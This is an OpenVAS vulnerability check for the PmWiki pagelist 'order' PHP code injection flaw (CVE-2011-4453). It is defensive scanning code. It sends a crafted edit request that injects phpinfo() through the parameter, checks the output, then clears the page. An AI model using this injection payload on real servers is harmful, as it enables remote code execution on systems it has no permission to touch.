PmWiki Pagelist 'order' Parameter PHP Code Injection Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: secpod_pmwiki_pagelist_order_param_php_code_inj_vuln.nasl 7029 2017-08-31 11:51:40Z teissa $
#
# PmWiki Pagelist 'order' Parameter PHP Code Injection Vulnerability
#
# Authors:
# Sooraj KS <[email protected]>
#
# Copyright:
# Copyright (c) 2011 SecPod, http://www.secpod.com
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation will allow remote attackers to inject and execute
  arbitrary PHP code in the context of the affected application.
  Impact Level: Application";
tag_affected = "PmWiki versions 2.0.0 to 2.2.34";
tag_insight = "The flaw is due to improper validation of user-supplied input via
  the 'order' argument of a pagelist directive within a PmWiki page, which
  allows attackers to execute arbitrary PHP code.";
tag_solution = "Upgrade to PmWiki version 2.2.35 or later,
  For updates refer to http://pmwiki.org/pub/pmwiki";
tag_summary = "The host is running PmWiki and is prone to PHP code injection
  vulnerability.";

if(description)
{
  script_id(902592);
  script_version("$Revision: 7029 $");
  script_cve_id("CVE-2011-4453");
  script_bugtraq_id(50776);
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"$Date: 2017-08-31 13:51:40 +0200 (Thu, 31 Aug 2017) $");
  script_tag(name:"creation_date", value:"2011-11-28 13:13:13 +0530 (Mon, 28 Nov 2011)");
  script_name("PmWiki Pagelist 'order' Parameter PHP Code Injection Vulnerability");
  script_xref(name : "URL" , value : "http://secunia.com/advisories/46968");
  script_xref(name : "URL" , value : "http://www.pmwiki.org/wiki/PITS/01271");
  script_xref(name : "URL" , value : "http://www.exploit-db.com/exploits/18149");
  script_xref(name : "URL" , value : "http://www.securityfocus.com/archive/1/520631");
  script_xref(name : "URL" , value : "http://www.pmwiki.org/wiki/PmWiki/ChangeLog#v2235");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 SecPod");
  script_family("Web application abuses");
  script_dependencies("gb_pmwiki_detect.nasl");
  script_require_ports("Services/www", 80);
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  exit(0);
}


include("http_func.inc");
include("version_func.inc");
include("http_keepalive.inc");

## Get HTTP Port
port = get_http_port(default:80);

## Check Port State
if(! get_port_state(port)) {
  exit(0);
}

## Check Host Supports PHP
if(! can_host_php(port:port)){
  exit(0);
}

## Get Host Name
host = get_host_name();
if(! host){
  exit(0);
}

## Get PmWiki Location
if(!dir = get_dir_from_kb(port:port, app:"PmWiki")){
  exit(0);
}

## Construct Attack Request
url = dir + "/pmwiki.php";
postData = "action=edit&post=save&n=Cmd.Shell&text=(:pagelist order=']);" +
           "phpinfo();die;#:)";

req = string("POST ", url, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "Content-Type: application/x-www-form-urlencoded\r\n",
             "Content-Length: ", strlen(postData), "\r\n",
             "\r\n", postData);

## Send crafted POST request and receive the response
res = http_keepalive_send_recv(port:port, data:req);

if(res =~ "HTTP/1.. 30")
{
  ## Confirm exploit worked by checking the response
  path = url + "?n=Cmd.Shell";
  if(http_vuln_check(port:port, url:path, pattern:">phpinfo\(\)<"))
  {
    ## Clean the pmwiki.php on success by sending empty POST
    postData = "action=edit&post=save&n=Cmd.Shell&text=";
    req = string("POST ", url, " HTTP/1.1\r\n",
                 "Host: ", host, "\r\n",
                 "Content-Type: application/x-www-form-urlencoded\r\n",
                 "Content-Length: ", strlen(postData), "\r\n",
                 "\r\n", postData);

    res = http_keepalive_send_recv(port:port, data:req);

    security_message(port);
  }
}